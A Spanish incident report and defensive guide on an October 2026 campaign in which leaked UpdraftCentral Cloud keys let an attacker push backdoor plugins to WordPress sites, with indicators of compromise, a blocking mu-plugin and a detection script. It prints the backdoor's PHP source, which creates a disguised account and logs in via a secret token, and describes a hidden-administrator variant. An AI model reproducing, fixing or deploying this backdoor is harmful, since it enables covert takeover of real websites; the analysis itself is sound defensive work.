Resumen
Situación a 19 de octubre de 2026, última actualización el 19/10/2026 (comunicado del fabricante). La lista de cambios está al final del artículo. Seguiremos actualizando el texto según evolucione la situación.
Actualización 19/10/2026: TeamUpdraft ha confirmado un incidente de seguridad. Durante el fin de semana del 17 y 18 de octubre un atacante tuvo acceso no autorizado a teamupdraft.com y, según el fabricante, probablemente obtuvo la base de datos de clientes: nombres, correos, direcciones de facturación, historial de pedidos, hashes de contraseñas, la configuración de la autenticación en dos pasos y las claves de conexión de UpdraftCentral (nube), UpdraftVault y UpdraftClone. Las claves con las que el atacante firmó las órdenes se filtraron, por tanto, directamente del fabricante. El fabricante ha cerrado la sesión de todas las cuentas, ha sustituido las claves de UpdraftVault y UpdraftClone y prepara una versión de emergencia de UpdraftPlus que desconectará automáticamente todas las conexiones de UpdraftCentral creadas antes de las 22:00 BST del 18 de octubre de 2026 (23:00 CEST). Según el fabricante, UpdraftCentral alojado en servidor propio no está afectado.
Actualización 19/10/2026 (tarde): Patchstack ha publicado su propio análisis, que confirma y amplía nuestras conclusiones. Vio 99 nombres distintos de plugins con puerta trasera instalados entre el 18/10 a las 15:32 y el 19/10 a las 9:23, y una segunda dirección IP del atacante, 2a09:bac5:4e21:2e3c::49b:9. También nos han escrito otros administradores afectados. Uno de ellos encontró una segunda variante de la puerta trasera que crea un administrador oculto. La describimos más abajo y hemos actualizado el script de comprobación para que la detecte. Si ya ejecutó el script, vuelva a ejecutarlo.
| Qué está afectado | el servicio UpdraftCentral, cuyo cliente forma parte del plugin UpdraftPlus, gratuito y premium |
| Versiones afectadas | todas las versiones de UpdraftPlus conectadas a UpdraftCentral Cloud mediante una conexión creada antes de las 23:00 CEST del 18/10/2026, incluidas las más recientes 1.26.11 y 2.26.11. En webs conectadas con versiones hasta la 1.26.4 y la 2.26.4, al atacante ni siquiera le hacen falta claves válidas (CVE-2026-10795). |
| Cuántas webs | Según wordpress.org, UpdraftPlus tiene más de 4 millones de instalaciones activas, y el fabricante lo presenta como el plugin de copias de seguridad programadas más popular del mundo. Con el fallo de junio en el mismo canal, el fabricante estimó que menos del 10 % de los usuarios tienen una clave de UpdraftCentral o de Migrator, es decir, hasta unas 400 000 webs. No sabemos a cuántas de ellas atacó. |
| Corrección | el fabricante prepara una versión de emergencia de UpdraftPlus que desconectará automáticamente todas las conexiones de UpdraftCentral creadas antes de las 23:00 CEST del 18/10/2026. Hasta entonces, borre las claves a mano. |
| Solución temporal | eliminar la conexión con UpdraftCentral, revisar la web con nuestro script, cambiar la contraseña de teamupdraft.com y, opcionalmente, bloquear las órdenes de UpdraftCentral con un pequeño mu-plugin (ver abajo). No hace falta desinstalar UpdraftPlus; las copias de seguridad siguen funcionando. |
La noche del 19 de octubre de 2026 un atacante desde la dirección IP 43.250.53.42 envió a través del servicio UpdraftCentral la orden plugin.upload_plugin a tres de nuestras webs con WordPress. UpdraftCentral es un servicio de gestión remota de webs de TeamUpdraft, y su cliente está integrado en cada copia del plugin UpdraftPlus. En dos de nuestras webs la orden se ejecutó y WordPress instaló y activó un plugin desconocido. En la tercera falló por falta de permisos.
El fallo no estaba de nuestro lado. Las tres webs tenían WordPress 7.1.3 y UpdraftPlus 2.26.11 actualizados, este último corregido contra la vulnerabilidad de junio CVE-2026-10795. El atacante no entró en nuestros servidores ni aprovechó ningún error de nuestra configuración. Llegó por el canal de gestión remota de UpdraftCentral y firmó sus órdenes con claves privadas válidas del panel. Esas claves las genera y custodia el servicio UpdraftCentral Cloud y nunca han estado en nuestros servidores. Quien las tenga puede instalar y ejecutar cualquier código en cada web conectada sin que su propietario lo sepa. Por eso lo consideramos un problema de seguridad crítico del servicio UpdraftCentral.
Quién está en riesgo: toda web con UpdraftPlus, gratuito o premium, que esté conectada a UpdraftCentral, es decir, que tenga una clave de UpdraftCentral. Cada una de las más de 4 millones de instalaciones de UpdraftPlus contiene el cliente de UpdraftCentral. Las webs que no están conectadas a UpdraftCentral no corren riesgo por este ataque, porque sin clave no aceptan órdenes de UpdraftCentral. Nuestras webs estaban conectadas a UpdraftCentral Cloud, el panel que opera TeamUpdraft. Según el fabricante, los paneles de UpdraftCentral alojados en servidor propio no están afectados. También se filtraron las claves de UpdraftVault y UpdraftClone, que el fabricante ya ha sustituido.
No se trata de la vulnerabilidad CVE-2026-10795, sobre la que Wordfence escribió en junio: nuestras webs estaban corregidas y los intentos de explotarla en ellas fallaban.
El plugin es una puerta trasera. Con un enlace secreto debía crear una cuenta con permisos de administrador camuflados e iniciar sesión del atacante directamente en ella. Su autor cometió un error en el código, así que la puerta trasera nunca funcionó. En su lugar hizo fallar cada petición a la web que no se servía desde la caché, y WordPress nos avisó por correo. Así la encontramos en cuestión de minutos a horas.
Comunicamos el incidente a TeamUpdraft el 19 de octubre y les pedimos que expliquen cómo llegaron las claves al atacante.
Si su web está conectada a UpdraftCentral, considérela potencialmente comprometida hasta haberla revisado. Elimine la conexión de inmediato y revise la web como se describe abajo. A 19 de octubre de 2026 no encontramos ninguna mención pública de esta puerta trasera ni de un ataque similar posterior a la corrección de junio.
Qué hacer ahora mismo
1. Elimine la conexión con UpdraftCentral
En el administrador de WordPress abra Ajustes → UpdraftPlus Backups → pestaña «Advanced Tools» → «UpdraftCentral». Haga clic en «Manage existing keys (N)…» y luego en «Delete…» junto a cada clave. Si no aparece ninguna clave, la web no está conectada.
Con acceso a la línea de comandos, lo mismo se hace con esta orden en el directorio raíz de WordPress:
wp option delete updraft_central_localkeysDespués elimine también la web del panel de UpdraftCentral (teamupdraft.com → My account → UpdraftCentral → ••• junto a la web → Remove site). Eliminarla solo del panel no basta. El atacante tiene la clave privada del panel, así que lo decisivo es borrar la clave en la web.
Según el fabricante, puede volver a conectar la web después de borrar la clave, revisarla y cambiar las contraseñas de los administradores. Antes, cambie la contraseña de su cuenta de teamupdraft.com (escriba usted mismo la dirección en el navegador, no siga enlaces de correos), cambie esa misma contraseña donde la haya reutilizado y vuelva a configurar la autenticación en dos pasos. Si instaló nuestro mu-plugin de bloqueo, elimínelo antes de volver a conectar. Quien use UpdraftVault debe volver a conectar sus webs con las nuevas credenciales.
2. Compruebe si la puerta trasera está en su web
Sin línea de comandos:
- En la misma pantalla de UpdraftCentral haga clic en «View recent UpdraftCentral log events…». Busque las líneas «Command received: plugin.upload_plugin» y «probe.central.updraftplus.com».
- En la lista de plugins busque uno con la descripción «Small maintenance toolkit: keeps option storage tidy.» y un nombre de dos palabras y tres caracteres, por ejemplo «Load Stack 35C».
- Un plugin con la descripción «Improves cron tasks efficiency for content sites with minimal overhead.» es la segunda variante. Su cuenta no aparece en la lista de usuarios, así que revise la web también con el script.
- En la lista de usuarios busque una cuenta llamada «Site Tools» o con un correo en
@example.org.
Si la puerta trasera está en la web, puede que el administrador no funcione, porque el plugin hace fallar cada petición. En ese caso use la línea de comandos.
Con línea de comandos, guarde nuestro script de comprobación del final del artículo como check-updraftcentral.php en el directorio raíz de WordPress y ejecute:
wp eval-file check-updraftcentral.php --skip-plugins --skip-themesEl script solo lee y no cambia nada. La opción --skip-plugins es importante, porque una puerta trasera instalada haría fallar también WP-CLI. Las líneas [ALERT] son rastros del ataque, [WARN] indica algo que revisar y [OK] es un resultado limpio. Que una orden aparezca en el registro no significa todavía que el plugin se instalara (en una de nuestras webs no se instaló), por eso el script revisa también archivos, opciones de la base de datos y cuentas. Si informa de algo con [ALERT], siga en la sección «Qué hacer si la encuentra».
UpdraftPlus solo guarda los últimos 50 eventos en el registro de UpdraftCentral. En una web que visitan a menudo los escáneres, el rastro del ataque puede desaparecer del registro y entonces el script da [OK] para el registro. Si tiene acceso a los registros del servidor web, revíselos también (ajuste la ruta a su servidor; con nginx, por ejemplo, /var/log/nginx/):
grep 'class-udrpc.php"' /var/log/apache2/*access*La orden encuentra peticiones de UpdraftCentral sin versión de la biblioteca en la cabecera User-Agent, como las que envió el atacante. El panel real envía class-udrpc.php/2.0; https://teamupdraft.com, así que la orden no lo detecta.
3. Opcional: bloquee por completo las órdenes de UpdraftCentral
Para estar seguro de que la web no ejecuta ninguna orden de UpdraftCentral aunque quede una clave en ella, guarde en el directorio wp-content/mu-plugins/ un archivo block-updraftcentral.php con este contenido:
<?php
// Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.
if ( isset( $_POST['udrpc_message'] ) ) {
http_response_code( 403 );
exit;
}WordPress carga los archivos de mu-plugins antes que los plugins normales, así que la petición se detiene antes de que UpdraftPlus la procese. También bloquea la migración de webs con UpdraftPlus Migrator, que usa el mismo canal. Borre el archivo cuando el fabricante haya explicado y resuelto el problema.
Cómo lo descubrimos
A las 5:38 recibimos un correo automático de WordPress: «WordPress caught an error with one of your plugins, Load Stack 35C.» Nunca habíamos instalado un plugin con ese nombre. El mensaje de error decía Uncaught Error: Undefined constant LoadStack35c::FIELD, y desde las 4:14 nuestra web respondía a cada petición con un error 500.
Todos los archivos de la carpeta wp-content/plugins/load-stack-35c/ tenían la misma hora de modificación, 4:14:30. Un segundo después cambió la carpeta wp-content/upgrade/, que WordPress usa para descomprimir los plugins que instala. El plugin llegó, por tanto, a través del instalador estándar de WordPress y no como un archivo copiado al disco. En ese mismo segundo el registro de accesos contiene una única petición:
43.250.53.42 - - [19/Oct/2026:04:14:30 +0200] "POST / HTTP/1.1" 200 8454 "-" "WordPress/6.4; class-udrpc.php"class-udrpc.php es la biblioteca con la que UpdraftPlus recibe órdenes de UpdraftCentral. Su propio registro (la opción de base de datos updraftcentral_client_log) lo confirmó: Command received: plugin.upload_plugin.
Cronología
Llamamos a las webs A, B y C. Todas las horas en CEST. Todas las peticiones llegaron desde 43.250.53.42 (proveedor RedSwitches) con la cabecera User-Agent WordPress/6.4; class-udrpc.php.
| Web | Sondeo | Instalación del plugin | Resultado |
|---|---|---|---|
| Web C | 19/10 0:41:32 | 6:05:31 | fallida, la clave pertenecía a un usuario sin permiso para instalar plugins |
| Web A | 2:14:05 | 4:14:30 | puerta trasera «Load Stack 35C» activa, web caída hasta las 6:13 |
| Web B | 2:39:44 | 6:53:49 | puerta trasera «Text Gantry Eb0» activa, eliminada a las 6:56 |
El sondeo es un mensaje dirigido a una clave inexistente, probe.central.updraftplus.com. La web responde que no entiende el mensaje y con ello revela que acepta órdenes de UpdraftCentral. La siguiente orden el atacante ya la envió a la clave real 0.central.updraftplus.com. En las tres webs el ataque transcurrió igual, por el mismo atacante, con pocas horas de diferencia.
Cómo funcionó el ataque
Al conectar una web a UpdraftCentral, la web genera un par de claves RSA y envía la clave pública al servicio UpdraftCentral Cloud. El servicio tiene su propio par de claves y envía a la web solo su clave pública. La clave privada del panel se queda en el servicio. Cada orden debe ir cifrada para la clave de la web y firmada con la clave privada del panel. La web la ejecuta entonces con los permisos del usuario que creó la clave en WordPress.
La orden plugin.upload_plugin superó toda esta comprobación en dos webs. Analizamos la web A en detalle y descartamos estas explicaciones:
- La vulnerabilidad conocida CVE-2026-10795. Afecta a UpdraftPlus hasta la 1.26.4 (premium hasta la 2.26.4). Nuestras webs tenían la 2.26.11. Vemos intentos de explotarla en los registros de las webs B y C desde junio, desde decenas de direcciones IP, y todos terminaron con «Could not decrypt incoming message».
- Un plugin modificado. Los archivos
class-udrpc2.php,central/bootstrap.php,central/listener.phpycentral/host.phpson idénticos byte a byte a la versión oficial 1.26.11 de wordpress.org. - El formato antiguo de mensajes sin firma. El código lo rechaza para las claves de UpdraftCentral, y la entrada «Command received» solo se escribe después de esa comprobación.
- Una clave del panel sustituida. Las huellas de las claves son las mismas en las copias diarias del 15 al 18 de octubre y en la base de datos en producción, y en los registros de acceso nadie llamó a la función de intercambio de claves.
- Criptografía débil. Tanto la clave de la web como la del panel son RSA de 2048 bits con exponente 65537, y UpdraftPlus incluye phpseclib 2.0.55, que tiene corregido el conocido fallo de verificación de firmas.
- Un wp-admin comprometido. No aparecieron administradores desconocidos, las sumas de comprobación del núcleo y de los plugins coinciden y los registros no muestran ninguna subida de plugin desde el administrador.
El atacante tenía, por tanto, las claves privadas del panel de las tres conexiones a la vez. Esas claves nunca han estado en nuestros servidores, así que no pudieron filtrarse desde ahí. Las órdenes tampoco llegaron desde un servidor de TeamUpdraft. El panel real envió órdenes a la web B en marzo y abril de 2026 con esta cabecera User-Agent:
WordPress/6.8.5; class-udrpc.php/2.0; https://teamupdraft.comEl atacante enviaba WordPress/6.4; class-udrpc.php, sin versión de la biblioteca y sin URL, desde su propio servidor. Las claves se filtraron, por tanto, del entorno de UpdraftCentral Cloud y el atacante las usó fuera de él.
El 19 de octubre TeamUpdraft confirmó que durante el fin de semana del 17 y 18 de octubre un atacante tuvo acceso a teamupdraft.com y probablemente a la base de datos de clientes, incluidas las claves de UpdraftCentral. Las claves se filtraron, por tanto, de la infraestructura del fabricante. La cronología encaja: las claves de las webs B y C existían desde noviembre de 2025 y el atacante no las usó hasta la noche del 18 al 19 de octubre, justo después de la intrusión. El fabricante no ha explicado cómo entró el atacante en teamupdraft.com.
En la web C el ataque falló por casualidad. Allí la clave la creó en noviembre de 2025 un usuario que ya no es administrador. Antes de instalar, UpdraftCentral comprueba si el propietario de la clave tiene los permisos install_plugins y activate_plugins. No tenía ninguno de los dos.
Por qué es un problema crítico de UpdraftCentral
El cliente de UpdraftCentral forma parte de cada copia de UpdraftPlus, gratuita y premium. Se activa cuando el propietario conecta la web al panel. A partir de ahí la web ejecuta cada orden firmada con la clave del panel con los permisos del administrador que creó la conexión, incluida la subida y activación de cualquier plugin. El propietario de la web no confirma la orden y, en nuestro caso, nada nos avisó. Las claves del lado de la web no caducan: las de noviembre de 2025 seguían funcionando en octubre de 2026.
La seguridad de todas las webs conectadas depende así de una única suposición: que las claves privadas del panel no se filtren. Se filtraron, y el atacante, desde un solo punto y en pocas horas, tomó el control de dos webs e intentó una tercera. UpdraftPlus tiene más de 4 millones de instalaciones activas. Entre los plugins de copias de seguridad de wordpress.org solo All-in-One WP Migration (más de 5 millones) tiene más instalaciones, y es sobre todo una herramienta de migración. Solo una parte de los usuarios de UpdraftPlus usa UpdraftCentral, pero incluso una pequeña parte de 4 millones son muchas webs.
El mismo canal ya falló antes. En junio de 2026 el fabricante corrigió la vulnerabilidad CVE-2026-10795 (CVSS 8.1), con la que un atacante podía falsificar órdenes de UpdraftCentral sin iniciar sesión e instalar y activar un plugin malicioso. Seguimos registrando intentos de explotarla.
Qué hace exactamente la puerta trasera
El plugin tiene cinco archivos, pero solo el principal contiene lógica. Esta es la parte relevante de la muestra de la web A. Hemos acortado el token y la contraseña:
define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' ); // 32 caracteres
define( 'LOADSTACK35C_FIELD', '_9f5696' );
define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' ); // 22 caracteres
final class LoadStack35c {
private function __construct() {
add_action( 'init', array( $this, 'handle_sync' ), 1 );
}
public function handle_sync() {
if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
$user = get_user_by( 'login', self::SVC_LOGIN );
if ( ! $user ) {
$uid = wp_insert_user( array(
'user_login' => self::SVC_LOGIN,
'user_pass' => self::SVC_PASS,
'user_email' => self::SVC_LOGIN . '@example.org',
'display_name' => 'Site Tools',
'role' => 'editor',
) );
if ( is_wp_error( $uid ) ) return;
$u = new WP_User( $uid );
$u->add_cap( 'manage_options' );
$u->add_cap( 'install_plugins' );
$user = get_user_by( 'id', $uid );
}
wp_set_current_user( $user->ID, $user->user_login );
wp_set_auth_cookie( $user->ID, true, is_ssl() );
wp_safe_redirect( admin_url( 'index.php' ) );
exit;
}
}
}
register_activation_hook( __FILE__, function () {
if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
}
} );
LoadStack35c::instance();Así funcionaría si no tuviera un error:
- En cada petición a la web se engancha a la acción
initcon prioridad 1, antes que la mayoría de los demás plugins. - Comprueba si la URL contiene el parámetro
?_9f5696=y compara su valor con un token de 32 caracteres. Compara conhash_equals, que tarda lo mismo coincidan o no los valores, de modo que el token no se puede adivinar midiendo los tiempos de respuesta. Sin el token correcto no ocurre nada y la web se comporta con normalidad. - Con el token correcto crea el usuario
data-ops43con una contraseña fijada en el plugin, el correodata-ops43@example.orgy el nombre visible «Site Tools». - Le asigna el rol Editor y además dos capacidades sueltas:
manage_optionseinstall_plugins. - Inicia la sesión del visitante como ese usuario mediante
wp_set_auth_cookiecon «recordarme», es decir, con una cookie válida 14 días. Así se salta por completo el formulario de acceso, por lo que no actúan ni la autenticación en dos pasos, ni el límite de intentos, ni la protección de acceso de Wordfence. - Lo redirige al administrador.
El rol Editor con dos capacidades extra es intencionado. En la lista de usuarios la cuenta aparece como Editor, no como Administrador, así que en una revisión normal de administradores pasa desapercibida. En la práctica tiene control total de la web:
install_pluginspermite subir cualquier plugin. Sus archivos PHP se pueden ejecutar directamente por URL incluso sin activarlo, lo que equivale a ejecutar cualquier código en el servidor.manage_optionsda acceso a todos los ajustes. Basta con activar el registro y poner administrador como rol por defecto para que el atacante se cree un administrador completo.- En un WordPress normal un Editor tiene también
unfiltered_html, así que puede insertar en las entradas JavaScript que se ejecuta en el navegador de cada administrador.
La puerta trasera tiene además una segunda capa. La cuenta creada, con una contraseña conocida, sigue en WordPress incluso después de eliminar el plugin, y el atacante puede entrar con ella por el formulario normal si esa cuenta no tiene activada la autenticación en dos pasos.
El error que nos salvó
Las constantes se definen con define() como constantes globales (LOADSTACK35C_FIELD), pero el código las lee como constantes de clase (self::FIELD). La clase no tiene constantes. Por eso PHP 8 lanza Error: Undefined constant LoadStack35c::FIELD la primera vez que evalúa self::FIELD. Ocurre antes de comprobar el token, es decir, en cada petición: visitas normales, administrador, inicio de sesión, API REST, cron y WP-CLI. La web cae con error 500 y solo sirve páginas desde la caché.
La petición de instalación, en cambio, terminó bien. UpdraftCentral procesa las órdenes en la acción wp_loaded, que llega después de init, así que en esa petición el código defectuoso no se ejecutó. El atacante recibió una confirmación de éxito y no supo nada del error por la respuesta. Solo fallaron las peticiones siguientes.
Al atacante le basta con corregir unos pocos caracteres para que la próxima oleada funcione. Si encuentra un plugin «roto» parecido, no lo arregle. Arreglarlo activaría la puerta trasera. Elimínelo.
Más detalles
- El plugin se hace pasar por un complemento corriente: tiene una cabecera completa, licencia GPL,
Text Domain, la descripción «Small maintenance toolkit: keeps option storage tidy.» y un editor inventado («PixelBinder», «Harbor Stack Labs»). - Los archivos
assets/public.css,assets/public.jsylanguages/readme.txtsolo contienen un comentario. El plugin no los usa; están ahí para que la carpeta parezca un plugin real. - Al desinstalarlo desde el administrador,
uninstall.phpborra las opciones<slug>_sync_tokeny<slug>_setup_stamp, es decir, sus propios rastros. El código nunca crea la segunda opción; es un resto de la plantilla. - Al activarse guarda el token en la opción
<slug>_sync_tokensin carga automática. El código nunca la lee. - Ambas muestras salen del mismo generador. Si sustituimos nombres, tokens, usuarios y versiones por marcadores, todos los archivos son idénticos byte a byte. El nombre sigue el patrón
palabra-palabra-3 caracteres hexadecimales, el parámetro es_más 6 caracteres hexadecimales y el usuariopalabra-palabramás dos dígitos. El token tiene 32 caracteres y la contraseña 22 (letras, dígitos y guion bajo).
Indicadores de compromiso
| Web A | Web B | |
|---|---|---|
| Carpeta del plugin | load-stack-35c | text-gantry-eb0 |
| Nombre / autor / versión | Load Stack 35C / PixelBinder / 1.2.6 | Text Gantry Eb0 / Harbor Stack Labs / 3.9.5 |
| Parámetro de la URL | _9f5696 | _3e9caa |
| Usuario | data-ops43 | media-staff96 |
| Opción en la base de datos | load_stack_35c_sync_token | text_gantry_eb0_sync_token |
| SHA-256 del archivo principal | 3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f | bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801 |
SHA-256 de uninstall.php | 4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0 | 4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9 |
Otras víctimas nos enviaron más muestras de la primera variante, y Patchstack cita más nombres:
hero-frame-2c5, autor «CopperForge WP», usuario con correorender-build21@example.org, SHA-256 del archivo principala9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9,uninstall.php325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111card-binder-104, versión 2.6.7, usuariorender.desk87- según Patchstack, por ejemplo «Site Health Cache», «Asset Forge 2», «Content Helper» y «Wp Forge», 99 nombres en total
Rasgos comunes:
- direcciones IP
43.250.53.42y2a09:bac5:4e21:2e3c::49b:9, User-Agent exactamenteWordPress/6.4; class-udrpc.php, peticiónPOST / - en el registro de UpdraftCentral, el sondeo
probe.central.updraftplus.comy unas horas despuésCommand received: plugin.upload_plugin - la descripción del plugin «Small maintenance toolkit: keeps option storage tidy.»
- un usuario con correo en
@example.orgy nombre visible «Site Tools», con rol Editor y las capacidadesmanage_optionseinstall_plugins - el error fatal
Undefined constant <Clase>::FIELDy un correo de WordPress sobre un error en un plugin que no reconoce
La segunda variante: un administrador oculto
No hemos analizado esta variante nosotros mismos. La descripción y los indicadores nos los envió un administrador de unas 145 webs, tres de las cuales fueron atacadas. Una recibió la variante descrita arriba y las otras dos un plugin distinto. El análisis de Patchstack todavía no incluye esta variante.
- Nombres: «Src Lab» (
src-lab, autor «WPBridge», versión 3.0.0) y «Render Helper 232b» (render-helper-232b, versión 3.7.9). - Descripción: «Improves cron tasks efficiency for content sites with minimal overhead.» Para disimular, el plugin añade de verdad un cron diario que borra transients caducados y un filtro de jQuery para páginas AMP.
- Disparador: un parámetro cuyo nombre son 12 caracteres hexadecimales y un token de 32 caracteres, por ejemplo
?303541c9dfd0=…&m=setup. El modom=setupcrea un administrador (por ejemplocmseditor170@example.comoweb_mgr684@example.com) y el modom=svcinicia la sesión del visitante en esa cuenta. Sinminicia la sesión del visitante como el primer administrador existente de la web. - Guarda el ID de la cuenta creada en la opción
<slug>_uid, por ejemplosrc_lab_uid. - Oculta la cuenta: un hook
pre_user_queryla quita de la lista de usuarios y un filtropre_count_usersresta uno al número de administradores. En el administrador no la verá. - No tiene
uninstall.php. Al desactivarlo solo borra la opción<slug>_installed. - SHA-256 de
src-lab.php:59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928 - La entrega es la misma que en la primera variante, un sondeo seguido de
plugin.upload_plugin, desde la IP2a09:bac5:4e21:2e3c::49b:9(src-lab 18/10 23:39 UTC, render-helper-232b 19/10 0:03 UTC).
El administrador no menciona el mismo error que en la primera variante, así que hay que suponer que esta funciona. En sus webs el atacante no la usó: no apareció la opción _uid, ninguna cuenta ni ninguna sesión ajena.
Cómo encontrarla: busque en los archivos de los plugins «Improves cron tasks efficiency» o «keep service accounts out of the main user list» y revise los usuarios directamente en la tabla wp_users, no desde el administrador. La versión 2 de nuestro script hace ambas cosas. En el registro de accesos, busque peticiones con un parámetro cuyo nombre son 12 caracteres hexadecimales:
grep -E '\?[0-9a-f]{12}=[A-Za-z0-9_-]{32}' /var/log/apache2/*access*Qué hacer si la encuentra
- Si aún no lo ha hecho, elimine la conexión con UpdraftCentral como se describe en «Qué hacer ahora mismo». De lo contrario, el atacante puede enviar una versión corregida de la puerta trasera.
- Desactive el plugin y muévalo fuera del directorio web. Si quiere conservarlo como prueba, no lo borre desde el administrador, porque
uninstall.phpborra sus opciones. - Borre la opción
<slug>_sync_token. - Revise los usuarios con el script de comprobación de abajo. Si la puerta trasera llegó a funcionar, es decir, si existe su cuenta o el registro de accesos muestra una petición con su parámetro, considere la web totalmente comprometida. El atacante pudo subir más plugins o una webshell y modificar archivos o la base de datos. Restaure la web desde una copia anterior al 17 de octubre, compare los archivos con una instalación limpia y revise todos los usuarios con capacidades extra.
- Cambie las contraseñas de los administradores y la de la cuenta de UpdraftCentral Cloud, cierre todas las sesiones abiertas y active la autenticación en dos pasos.
- Valore si de verdad necesita la gestión remota. Si es así, cree la clave con una cuenta sin permiso para instalar plugins, salvo que lo necesite a distancia. En la web C fue justo esa casualidad la que detuvo el ataque.
Script de comprobación
El script comprueba cinco cosas: si la web está conectada a UpdraftCentral, qué ha recibido la web a través de UpdraftCentral, si las carpetas plugins y mu-plugins contienen archivos de la puerta trasera, si sus opciones están en la base de datos y si existe su cuenta u otro usuario que no es administrador con las capacidades manage_options o install_plugins. La versión 2 detecta también la segunda variante: busca sus archivos y la opción _uid, lee los usuarios directamente de la base de datos para que el ocultamiento no funcione y señala los administradores creados desde el 17 de octubre.
En la web A, tras eliminar la puerta trasera, muestra:
[OK] No active UpdraftCentral connection.
[WARN] 2026-10-19 00:14 UTC 43.250.53.42 probe for UpdraftCentral (UA: WordPress/6.4; class-udrpc.php).
[ALERT] 2026-10-19 02:14 UTC 43.250.53.42 "Command received: plugin.upload_plugin" (UA: WordPress/6.4; class-udrpc.php). A plugin or theme was pushed to this site.
[OK] No backdoor plugin files found.
[OK] No backdoor options in the database.
[OK] No backdoor accounts or hidden admin-level users.También puede descargar el script directamente:
curl -o check-updraftcentral.php https://nethemba.com/wp-content/uploads/2026/10/check-updraftcentral.txtSHA-256 del script: f9247f96a4882722742ddff1eaa515f9eb70faa8f382429fe4204c3d617e57b0. El código completo:
<?php
/**
* Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.
* Read-only. It changes nothing on the site.
* v2: also detects the second variant, which creates a hidden administrator.
*
* Run in the WordPress root directory:
* wp eval-file check-updraftcentral.php --skip-plugins --skip-themes
*
* --skip-plugins matters: an installed copy of the backdoor crashes every request,
* including WP-CLI, unless plugins are skipped.
*/
$alerts = 0;
$warnings = 0;
$report = function ( $level, $message ) use ( &$alerts, &$warnings ) {
if ( 'ALERT' === $level ) $alerts++;
if ( 'WARN' === $level ) $warnings++;
echo str_pad( "[$level]", 8 ), $message, "\n";
};
echo "UpdraftCentral backdoor check for ", get_option( 'siteurl' ), "\n\n";
// 1. Is the site connected to UpdraftCentral?
$keys = get_option( 'updraft_central_localkeys' );
if ( is_array( $keys ) && $keys ) {
foreach ( $keys as $id => $key ) {
$report( 'WARN', sprintf(
'UpdraftCentral connection is active: key %s, created %s by user "%s". Delete it now.',
$id,
isset( $key['created'] ) ? gmdate( 'Y-m-d', $key['created'] ) : '?',
isset( $key['extra_info']['user_login'] ) ? $key['extra_info']['user_login'] : '?'
) );
}
} else {
$report( 'OK', 'No active UpdraftCentral connection.' );
}
// 2. What the site received over UpdraftCentral.
$log = get_site_option( 'updraftcentral_client_log' );
$log_hits = 0;
foreach ( is_array( $log ) ? $log : array() as $entry ) {
$message = isset( $entry['message'] ) ? $entry['message'] : '';
$agent = isset( $entry['http_user_agent'] ) ? $entry['http_user_agent'] : '';
$when = isset( $entry['time'] ) ? gmdate( 'Y-m-d H:i', $entry['time'] ) . ' UTC' : '?';
$ip = isset( $entry['remote_ip'] ) ? $entry['remote_ip'] : '?';
if ( preg_match( '/upload_(plugin|theme)/', $message ) ) {
$report( 'ALERT', "$when $ip \"$message\" (UA: $agent). A plugin or theme was pushed to this site." );
$log_hits++;
} elseif ( false !== strpos( $message, 'probe.central.updraftplus.com' ) ) {
$report( 'WARN', "$when $ip probe for UpdraftCentral (UA: $agent)." );
$log_hits++;
} elseif ( 'Command received' === substr( $message, 0, 16 ) && preg_match( '/class-udrpc\.php$/', $agent ) ) {
$report( 'ALERT', "$when $ip \"$message\" from a client that is not UpdraftCentral Cloud (UA: $agent)." );
$log_hits++;
}
}
if ( ! $log_hits ) $report( 'OK', 'UpdraftCentral log shows no plugin uploads, probes or foreign clients.' );
// 3. Backdoor plugins in plugins and mu-plugins.
$plugin_hits = 0;
foreach ( array( WP_PLUGIN_DIR . '/*/*.php', WPMU_PLUGIN_DIR . '/*.php' ) as $pattern ) {
foreach ( (array) glob( $pattern ) as $file ) {
$code = (string) @file_get_contents( $file, false, null, 0, 200000 );
$template = false !== strpos( $code, 'keeps option storage tidy' )
|| false !== strpos( $code, 'Improves cron tasks efficiency' )
|| false !== strpos( $code, 'keep service accounts out of the main user list' )
|| ( false !== strpos( $code, "_sync_token'" ) && false !== strpos( $code, 'wp_set_auth_cookie' ) && false !== strpos( $code, 'hash_equals' ) )
|| ( false !== strpos( $code, 'pre_user_query' ) && false !== strpos( $code, 'pre_count_users' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) );
if ( $template ) {
$report( 'ALERT', "Backdoor plugin file: $file" );
$plugin_hits++;
}
}
}
if ( ! $plugin_hits ) $report( 'OK', 'No backdoor plugin files found.' );
// 4. Options the backdoor leaves behind.
global $wpdb;
$options = $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+_[0-9a-f]{3}_(sync_token|setup_stamp)$'" );
foreach ( $options as $name ) $report( 'ALERT', "Backdoor option in the database: $name" );
// The second variant stores the ID of its hidden administrator in <slug>_uid.
$uids = $wpdb->get_results( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+(_[0-9a-f]{3,4})?_uid$'" );
foreach ( $uids as $o ) {
$u = ctype_digit( (string) $o->option_value ) ? $wpdb->get_row( $wpdb->prepare( "SELECT user_login, user_email FROM {$wpdb->users} WHERE ID = %d", $o->option_value ) ) : null;
$bad = $u && preg_match( '/@example\.(com|org)$/', $u->user_email );
$report( $bad ? 'ALERT' : 'WARN', "Option {$o->option_name} = {$o->option_value}" . ( $u ? " (user {$u->user_login} <{$u->user_email}>)" : '' ) . ( $bad ? '' : '. Check that a plugin you know uses it.' ) );
}
if ( ! $options && ! $uids ) $report( 'OK', 'No backdoor options in the database.' );
